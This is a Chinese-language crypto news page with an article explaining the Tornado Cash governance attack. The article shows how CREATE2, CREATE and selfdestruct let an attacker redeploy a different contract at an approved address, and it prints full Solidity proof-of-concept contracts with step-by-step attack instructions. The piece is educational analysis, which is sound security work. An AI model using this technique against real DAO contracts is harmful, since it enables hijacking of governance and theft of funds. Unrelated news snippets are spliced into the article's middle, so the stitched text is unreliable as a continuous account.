比特幣價格 比特幣價格
Ctrl+D 比特幣價格
ads
首頁 > AAVE > Info

NBS:解析Tornado治理攻擊:如何同一個地址上部署不同的合約_Genie Protocol

Author:

Time:1900/1/1 0:00:00

大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。

攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看 SharkTeam 的  Tornado.Cash提案攻擊原理分析。

這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?

EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。

當使用 new Token() 使用的是  CREATE 操作碼 , 創建的合約地址計算函數為:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。

當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是  CREATE2 操作碼 , 創建的合約地址計算函數為:

ENS將推出區塊鏈原生的、可通過域名解析系統路由的頂級域名.box:6月7日消息,ENS開發者nick.eth發推稱,ENS將推出區塊鏈原生的、可通過域名解析系統路由的頂級域名.box。該域名系統中所有注冊和轉移都將在鏈上進行,NFT的所有者將同時擁有DNS和ENS域名。

據悉,.box域名可用于DID配置文件和錢包、去中心化的網站和消息傳遞、Web2網站和電子郵件、收藏與交易等。[2023/6/7 21:21:43]

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。

那么如何才能在同一地址如何部署不用的合約?

攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:

代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和  Proposal 合約中均有自毀實現(selfdestruct)。

1inch Network:已向解析器激勵計劃發放超150萬枚INCH:2月12日消息,DEX聚合器1inch Network在社交媒體發布項目數據更新,截止目前已向解析器激勵計劃發放1,507,992 INCH代幣,按照當前價格計算超過80萬美元。1inch Network于1月底啟動解析器激勵計劃代幣發放,總計為1000萬枚INCH。

此外,1inch Network還公布了當前主流鏈上數據,按交易額排名:以太坊(2406億美元)、BNB(326億美元)、Polygon(181億美元)、Avalanche(33億美元)、Arbitrum(32億美元)、Optimism(16億美元)、Fantom(7.291億美元)、Gnosis(1.92億美元)。[2023/2/12 12:02:19]

在提案通過后,攻擊者把  Deployer 和  Proposal 合約銷毀,然后重新用相同的slat創建 Deployer  ,  Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的   Deployer  合約地址, 但此時   Deployer  合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。

此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

Beosin解析Reaper Farm遭攻擊事件:_withdraw中owner地址可控且未作任何訪問控制:8月2日消息,據 Beosin EagleEye 安全輿情監控數據顯示,Reaper Farm 項目遭到黑客攻擊,Beosin 安全團隊發現由于_withdraw 中 owner 地址可控且未作任何訪問控制,導致調用 withdraw 或 redeem 函數可提取任意用戶資產。攻擊者(0x5636 開頭)利用攻擊合約(0x8162 開頭)通過漏洞合約(0xcda5 開頭)提取用戶資金,累計獲利 62 ETH 和 160 萬 DAI,約價值 170 萬美元,目前攻擊者(0x2c17 開頭)已通過跨鏈將所有獲利資金轉入 Tornado.Cash。[2022/8/2 2:54:18]

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用該代碼自己在 Remix 中演練一下。

奇虎360公開“基于聯盟區塊鏈的標識解析方法”專利:8月30日消息,北京奇虎科技有限公司、中國信息通信研究院日前聯合公開一種“基于聯盟區塊鏈的標識解析方法、裝置、存儲介質及服務器”專利,申請日期為2021年4月29日,申請公布號:CN113315811A。天眼查App顯示,該專利屬于計算機技術領域。方法包括在第一對外節點接收到標識解析請求的情況下,從第一對外節點對應的本地數據庫中查詢是否存在與標識解析請求中的標識符對應的IPFS哈希值。

若未查詢到IPFS哈希值,則基于標識解析請求向聯盟區塊鏈中除第一對外節點之外的其他節點發送第一查詢請求;接收由聯盟區塊鏈中響應于第一查詢請求的節點發送的IPFS哈希值,并基于IPFS哈希值通過第一對外節點訪問IPFS服務,以獲取IPFS哈希值對應的標識解析信息由此可有效提高對標識解析過程的安全性,保證通過標識解析得到的數據不易被篡改。(郵箱網)[2021/8/30 22:45:51]

首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合約地址后, 向  DAO 發起提案。

分別調用 Deployer.kill 和  Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal

直播|YOYO >普通人的財富密碼全球經紀人解析:金色財經 · 直播主辦的《 幣圈 “后浪” 仙女直播周》第10期,本期由58COIN TOP天團組成,20:00正在直播中,本期“后浪”仙女58TOP女團超模擔當 YOYO將在直播間分享“普通人的財富密碼全球經紀人解析”,請掃碼移步收聽![2020/7/29]

再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署  Attack ,    Attack  將和之前的   Proposal 一致。

執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。

區塊律動BlockBeats

曼昆區塊鏈法律

Foresight News

GWEI Research

吳說區塊鏈

西柚yoga

ETH中文

金色早8點

金色財經 子木

ABCDE

0xAyA

Tags:NBSBSPPROSALNBS價格BSPAY價格Genie ProtocolSALE幣

AAVE
以太坊:升級引發追逐收益熱潮 以太坊流動性質押飆升至 200 億美元_Alchemist DeFi Aurum

作者:Tim Craig,dlnews 編譯:金色財經,善歐巴 摘要 在以太坊的 Shapella 升級降低了風險之后,持有流動性質押代幣成為一種“明智之舉”.

1900/1/1 0:00:00
NBS:叛逃Web3:Paradigm的難處與境況_ARA價格

原文作者:念青、谷昱,來源:鏈捕手今日,The Block 發文稱,加密貨幣風險投資公司 Paradigm 已從本月月初更改網站表述.

1900/1/1 0:00:00
NBS:每有機構申請比特幣ETF時 市場價格如何反饋?_ETF

作者:jk 隨著數字貨幣的不斷發展和成熟,比特幣 ETF(Exchange-Traded Fund)正逐漸引起金融界的關注.

1900/1/1 0:00:00
NFT:ERC-6551如何開啟NFT新紀元?_YSDT幣

作者:Kelly Kim@Pinata 翻譯:MetaCatERC-6551 的代幣綁定賬戶 (TBA) 揭示了一個新范式.

1900/1/1 0:00:00
加密貨幣:金色早報 | 香港正在探索推出穩定幣HKDG_eth官網下載

▌香港正在探索推出穩定幣HKDG金色財經報道,香港正在探索推出穩定幣HKDG,以與USDT和USDC等成熟穩定幣競爭.

1900/1/1 0:00:00
BSP:Cregis Research:以太坊賬戶構造考古與賬戶抽象(AA)的價值_以太坊

首先,復習一下“古典”的區塊鏈公鏈構造知識:拜占庭問題、雙花攻擊和以太坊的痛點。在傳統互聯網中,當 A 付錢給 B 時,發生了兩件事情: 1、A.

1900/1/1 0:00:00
ads